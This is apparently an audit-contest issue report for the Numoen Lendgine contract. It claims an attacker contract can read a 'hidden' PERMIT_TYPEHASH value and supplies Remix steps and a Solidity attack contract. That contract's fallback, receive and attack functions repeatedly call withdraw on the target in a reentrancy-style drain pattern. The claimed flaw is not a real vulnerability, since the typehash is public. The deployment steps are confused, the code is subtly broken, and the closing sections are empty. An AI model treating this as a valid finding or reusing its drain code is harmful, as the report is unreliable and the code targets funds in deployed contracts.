External call from attacker contract can read the hidden PERMIT_TYPEHASH data called 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9 #108
External call from attacker contract can read the hidden PERMIT_TYPEHASH data called 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9
untrusted call from an external contract can read data from victim contract.
Proof of Concept
Prep:
Victim Contract
1. recreate the following contract in Remix IDE "Lendgine.sol"
2. compile contract
3. go to deploy and run transactions tab
4. set environment to Remix VM (London)
5. select first account from drop down and copy its address
6. next to "At Address" button paste the address in and click "At Address" button and contract is deployed
Attack Contract
7. In Remix IDE recreate my PoC code below and save as a contract called "AttackLendgine.sol"
8. compile "AttackLendgine.sol"
9. go to deploy and run transactions tab
10. set environment to Remix VM (London). And set the value to 10 and the drop list to Ether.
11. select second account from drop down and copy the address of the first account
12. next to the "Deploy" button paste the first address of the victim and click the "deploy" button and contract is deployed
13. The select first account from "Account" drop list before next step.
action
1. go to the deployed attack contract in the "Deployed Contracts" list.
2. click on the button called "PERMIT_TYPEHASH " and it displays the following. bytes32: 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9
PoC
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.4;
import "./Lendgine.sol";
import { ERC20 } from "./ERC20.sol";
import { JumpRate } from "./JumpRate.sol";
import { Pair } from "./Pair.sol";
import { ILendgine } from "./interfaces/ILendgine.sol";
import { IMintCallback } from "./interfaces/callback/IMintCallback.sol";
import { Balance } from "../libraries/Balance.sol";
import { FullMath } from "../libraries/FullMath.sol";
import { Position } from "./libraries/Position.sol";
import { SafeTransferLib } from "../libraries/SafeTransferLib.sol";
import { SafeCast } from "../libraries/SafeCast.sol";
contract AttackLendgine is ERC20 {
uint256 public totalPositionSize;
uint256 public totalLiquidityBorrowed;
uint256 public rewardPerPositionStored;
uint256 public lastUpdate;
Lendgine public lendgine;
uint256 public i = 1 + 1;
uint256 public iex = i += i;
constructor(address _lendgine)
ERC20()
public payable {
lendgine = Lendgine(_lendgine);
_mint(msg.sender, 100000 * 10);
}
function withdraw(
address to,
uint256 size
)
external payable
//override
//nonReentrant
returns (uint256 amount0, uint256 amount1, uint256 liquidity)
{
lendgine.withdraw(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, iex);
}
function accrueInterest() external payable //override //nonReentrant
{
lendgine.accrueInterest();
}
function accruePositionInterest() external payable //override //nonReentrant
{
lendgine.accruePositionInterest();
}
function collect(address to, uint256 collateralRequested) external payable //override //nonReentrant
returns (uint256 collateral) {
lendgine.collect(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, iex);
}
/*//////////////////////////////////////////////////////////////
ACCOUNTING LOGIC
//////////////////////////////////////////////////////////////*/
function convertLiquidityToShare(uint256 liquidity) public payable //override
returns (uint256) {
lendgine.convertLiquidityToShare(iex);
}
function convertShareToLiquidity(uint256 shares) public payable //override
returns (uint256) {
lendgine.convertShareToLiquidity(iex);
}
function convertCollateralToLiquidity(uint256 collateral) public payable //override
returns (uint256) {
lendgine.convertCollateralToLiquidity(iex);
}
function convertLiquidityToCollateral(uint256 liquidity) public payable //override
returns (uint256) {
lendgine.convertLiquidityToCollateral(iex);
}
/*//////////////////////////////////////////////////////////////
INTERNAL INTEREST LOGIC
//////////////////////////////////////////////////////////////*/
/// @notice Helper function for accruing lendgine interest
function _accrueInterest() public {
//lendgine._accrueInterest();
}
function _accruePositionInterest(address _lendgine) external {
// lendgine._accruePositionInterest(0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2);
}
function getbalance() public
returns (uint256)
{
return address(this).balance;
// return address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4).balance;
}
fallback() external payable {
if (address(lendgine).balance >= 1 ether) {
//payable(msg.sender).call{value: 1 ether};
payable(msg.sender).transfer(1 ether);
//payable(msg.sender).send(1 ether);
lendgine.withdraw(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, iex);
}
}
receive() external payable {
if (address(lendgine).balance >= 1 ether) {
//payable(msg.sender).call{value: 1 ether};
payable(msg.sender).transfer(1 ether);
//payable(msg.sender).send(1 ether);
lendgine.withdraw(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, iex);
}
}
function attack() external payable {
require(msg.value >= 1 ether);
//payable(msg.sender).call{value: 1 ether};
payable(msg.sender).transfer(1 ether);
//payable(msg.sender).send(1 ether);
lendgine.withdraw(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, iex);
}
}
Lines of code
https://github.com/code-423n4/2023-01-numoen/blob/2ad9a73d793ea23a25a381faadc86ae0c8cb5913/src/core/Lendgine.sol#L17
Vulnerability details
Impact
Proof of Concept
PoC
Tools Used
Remix IDE
Recommended Mitigation Steps